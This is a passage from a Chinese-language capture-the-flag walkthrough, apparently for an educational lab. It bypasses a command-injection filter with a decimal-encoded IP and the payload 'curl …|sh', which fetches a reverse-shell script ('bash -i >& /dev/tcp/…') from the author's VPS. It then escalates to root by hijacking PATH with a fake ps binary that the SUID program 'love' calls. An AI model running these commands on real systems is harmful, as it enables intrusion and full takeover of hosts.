b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);
致使我们好多命令都无法操作。最后观察至curl
没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell
设置VPS的首页为:
bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"
在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:
python -m SimpleHTTPServer 80
python3:
python -m http.server 80
然后在vps上再打开一个终端,监听5555端口:
nc -lvnp 5555
假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.
,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制
随便点开一个就可以:
我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh
就能在我们的VPS上看到反弹的shell了
查看id
发现是个低权限用户:www-data
搜索flag
:
find / -name flag
没有找到。home目录下也没有用户名:
那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:
find / -user root -perm -4000 -print 2>/dev/null
发现了一个奇怪的程序:love
运行下:
返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:
发现love
是运行了ps
程序,特点有两个:
1、会将uid设为0
,也就是root
2、ps
命令没有指定是哪个目录下的。
那么我们就可以伪造ps
命令来提权。
我们在/tmp
目录下伪造ps
命令。因为/tmp
目录有可写权限(其他可写目录也可以)
cd /tmp # 进入/tmp目录
echo "/bin/bash" >ps #将payload写入ps文件
chmod 777 ps #设置可读可写可执行权限
$PATH #查看环境变量
export PATH=/tmp:$PATH #将/tmp加入环境变量,并放在第一个位置
然后我们运行love
,发现是root
权限了
现在我们就能读取flag
了
cat /root/flag